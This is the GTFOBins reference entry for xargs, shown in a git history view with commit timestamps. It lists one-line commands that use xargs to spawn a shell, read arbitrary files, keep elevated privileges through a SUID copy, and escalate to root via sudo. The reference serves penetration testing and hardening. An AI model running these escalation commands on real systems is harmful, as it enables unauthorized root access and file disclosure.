GTFOBins.github.io/_gtfobins/xargs.md

23 lines
703 B
Markdown
Raw Normal View History

2018-05-30 07:36:30 +00:00
---
functions:
2018-10-05 17:55:38 +00:00
shell:
2018-09-06 20:32:14 +00:00
- description: GNU version only.
code: xargs -a /dev/null sh
- code: echo x | xargs -Iy sh -c 'exec sh 0<&1'
- description: Read interactively from `stdin`.
code: |
xargs -Ix sh -c 'exec sh 0<&1'
x^D^D
file-read:
2018-07-16 13:01:50 +00:00
- description: This works as long as the file does not contain the NUL character, also a trailing `$'\n'` is added. The actual `/bin/echo` command is executed. GNU version only.
code: |
LFILE=file_to_read
xargs -a "$LFILE" -0
2018-10-05 17:55:38 +00:00
suid:
2018-09-06 20:32:14 +00:00
- description: GNU version only.
code: ./xargs -a /dev/null sh -p
2018-10-05 17:55:38 +00:00
sudo:
2018-09-06 20:32:14 +00:00
- description: GNU version only.
code: sudo xargs -a /dev/null sh
2018-05-30 07:36:30 +00:00
---